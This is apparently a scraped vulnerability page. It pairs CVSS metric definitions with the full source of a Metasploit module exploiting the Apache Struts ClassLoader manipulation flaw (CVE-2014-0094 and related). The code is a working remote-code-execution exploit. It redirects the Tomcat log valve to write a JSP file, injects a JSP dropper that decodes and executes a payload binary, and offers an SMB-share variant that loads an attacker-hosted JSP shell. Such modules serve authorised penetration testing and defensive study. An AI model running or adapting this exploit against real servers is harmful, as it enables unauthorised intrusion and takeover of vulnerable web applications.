The vulnerable system is bound to a protocol stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared proximity (e.g., Bluetooth, NFC, or IEEE 802.11) or logical network (e.g., local IP subnet), or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN within an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
S
An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Apache Struts < 1.3.10 / < 2.3.16.2 ClassLoader Manipulation Remote Code Execution##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking # It's going to manipulate the Class Loader
include Msf::Exploit::FileDropper
include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::SMB::Server::Share
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts ClassLoader Manipulation Remote Code Execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in Apache Struts versions
1.x (<= 1.3.10) and 2.x (< 2.3.16.2). In Struts 1.x the problem is related with
the ActionForm bean population mechanism while in case of Struts 2.x the vulnerability is due
to the ParametersInterceptor. Both allow access to 'class' parameter that is directly
mapped to getClass() method and allows ClassLoader manipulation. As a result, this can
allow remote attackers to execute arbitrary Java code via crafted parameters.
},
'Author' =>
[
'Mark Thomas', # Vulnerability Discovery
'Przemyslaw Celej', # Vulnerability Discovery
'Redsadic <julian.vilas[at]gmail.com>', # Metasploit Module
'Matthew Hall <hallm[at]sec-1.com>' # SMB target
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2014-0094'],
['CVE', '2014-0112'],
['CVE', '2014-0114'],
['URL', 'http://www.pwntester.com/blog/2014/04/24/struts2-0day-in-the-wild/'],
['URL', 'http://struts.apache.org/release/2.3.x/docs/s2-020.html'],
['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Update-your-Struts-1-ClassLoader-manipulation-filters/ba-p/6639204'],
['URL', 'https://github.com/rgielen/struts1filter/tree/develop']
],
'Platform' => %w{ linux win },
'Payload' =>
{
'Space' => 5000,
'DisableNops' => true
},
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' =>
[
['Java',
{
'Arch' => ARCH_JAVA,
'Platform' => %w{ linux win }
},
],
['Linux',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
['Windows',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
['Windows / Tomcat 6 & 7 and GlassFish 4 (Remote SMB Resource)',
{
'Arch' => ARCH_JAVA,
'Platform' => 'win'
}
]
],
'DisclosureDate' => 'Mar 06 2014',
'DefaultTarget' => 1))
register_options(
[
Opt::RPORT(8080),
OptEnum.new('STRUTS_VERSION', [ true, 'Apache Struts Framework version', '2.x', ['1.x','2.x']]),
OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/struts2-blank/example/HelloWorld.action"]),
OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 10])
], self.class)
deregister_options('SHARE', 'FILE_NAME', 'FOLDER_NAME', 'FILE_CONTENTS')
end
def jsp_dropper(file, exe)
dropper = <<-eos
<%@ page import=\"java.io.FileOutputStream\" %>
<%@ page import=\"sun.misc.BASE64Decoder\" %>
<%@ page import=\"java.io.File\" %>
<% FileOutputStream oFile = new FileOutputStream(\"#{file}\", false); %>
<% oFile.write(new sun.misc.BASE64Decoder().decodeBuffer(\"#{Rex::Text.encode_base64(exe)}\")); %>
<% oFile.flush(); %>
<% oFile.close(); %>
<% File f = new File(\"#{file}\"); %>
<% f.setExecutable(true); %>
<% Runtime.getRuntime().exec(\"./#{file}\"); %>
eos
dropper
end
def dump_line(uri, cmd = '')
res = send_request_cgi({
'uri' => uri,
'encode_params' => false,
'vars_get' => {
cmd => ''
},
'version' => '1.1',
'method' => 'GET'
})
res
end
def modify_class_loader(opts)
cl_prefix =
case datastore['STRUTS_VERSION']
when '1.x' then "class.classLoader"
when '2.x' then "class['classLoader']"
end
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s),
'version' => '1.1',
'method' => 'GET',
'vars_get' => {
"#{cl_prefix}.resources.context.parent.pipeline.first.directory" => opts[:directory],
"#{cl_prefix}.resources.context.parent.pipeline.first.prefix" => opts[:prefix],
"#{cl_prefix}.resources.context.parent.pipeline.first.suffix" => opts[:suffix],
"#{cl_prefix}.resources.context.parent.pipeline.first.fileDateFormat" => opts[:file_date_format]
}
})
res
end
def check_log_file(hint)
uri = normalize_uri("/", @jsp_file)
print_status("Waiting for the server to flush the logfile")
10.times do |x|
select(nil, nil, nil, 2)
# Now make a request to trigger payload
vprint_status("Countdown #{10-x}...")
res = dump_line(uri)
# Failure. The request timed out or the server went away.
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") if res.nil?
# Success if the server has flushed all the sent commands to the jsp file
if res.code == 200 && res.body && res.body.to_s =~ /#{hint}/
print_good("Log file flushed at http://#{peer}/#{@jsp_file}")
return true
end
end
false
end
# Fix the JSP payload to make it valid once is dropped
# to the log file
def fix(jsp)
output = ""
jsp.each_line do |l|
if l =~ /<%.*%>/
output << l
elsif l =~ /<%/
next
elsif l=~ /%>/
next
elsif l.chomp.empty?
next
else
output << "<% #{l.chomp} %>"
end
end
output
end
def create_jsp
if target['Arch'] == ARCH_JAVA
jsp = fix(payload.encoded)
else
if target['Platform'] == 'win'
payload_exe = Msf::Util::EXE.to_executable_fmt(framework, target.arch, target.platform, payload.encoded, "exe-small", {:arch => target.arch, :platform => target.platform})
else
payload_exe = generate_payload_exe
end
payload_file = rand_text_alphanumeric(4 + rand(4))
jsp = jsp_dropper(payload_file, payload_exe)
register_files_for_cleanup(payload_file)
end
jsp
end
def exploit
if target.name =~ /Remote SMB Resource/
begin
Timeout.timeout(datastore['SMB_DELAY']) { super }
rescue Timeout::Error
# do nothing... just finish exploit and stop smb server...
end
else
class_loader_exploit
end
end
# Used with SMB targets
def primer
self.file_name << '.jsp'
self.file_contents = payload.encoded
print_status("JSP payload available on #{unc}...")
print_status("Modifying Class Loader...")
send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s),
'version' => '1.1',
'method' => 'GET',
'vars_get' => {
'class[\'classLoader\'].resources.dirContext.docBase' => "\\\\#{srvhost}\\#{share}"
}
})
jsp_shell = target_uri.path.to_s.split('/')[0..-2].join('/')
jsp_shell << "/#{self.file_name}"
print_status("Accessing JSP shell at #{jsp_shell}...")
send_request_cgi({
'uri' => normalize_uri(jsp_shell),
'version' => '1.1',
'method' => 'GET',
})
end
def class_loader_exploit
prefix_jsp = rand_text_alphanumeric(3+rand(3))
date_format = rand_text_numeric(1+rand(4))
@jsp_file = prefix_jsp + date_format + ".jsp"
# Modify the Class Loader
print_status("Modifying Class Loader...")
properties = {
:directory => 'webapps/ROOT',
:prefix => prefix_jsp,
:suffix => '.jsp',
:file_date_format => date_format
}
res = modify_class_loader(properties)
unless res
fail_with(Failure::TimeoutExpired, "#{peer} - No answer")
end
# Check if the log file exists and has been flushed
unless check_log_file(normalize_uri(target_uri.to_s))
fail_with(Failure::Unknown, "#{peer} - The log file hasn't been flushed")
end
register_files_for_cleanup(@jsp_file)
# Prepare the JSP
print_status("Generating JSP...")
jsp = create_jsp
# Dump the JSP to the log file
print_status("Dumping JSP into the logfile...")
random_request = rand_text_alphanumeric(3 + rand(3))
uri = normalize_uri('/', random_request)
jsp.each_line do |l|
unless dump_line(uri, l.chomp)
fail_with(Failure::Unknown, "#{peer} - Missed answer while dumping JSP to logfile...")
end
end
# Check log file... enjoy shell!
check_log_file(random_request)
# No matter what happened, try to 'restore' the Class Loader
properties = {
:directory => '',
:prefix => '',
:suffix => '',
:file_date_format => ''
}
modify_class_loader(properties)
end
end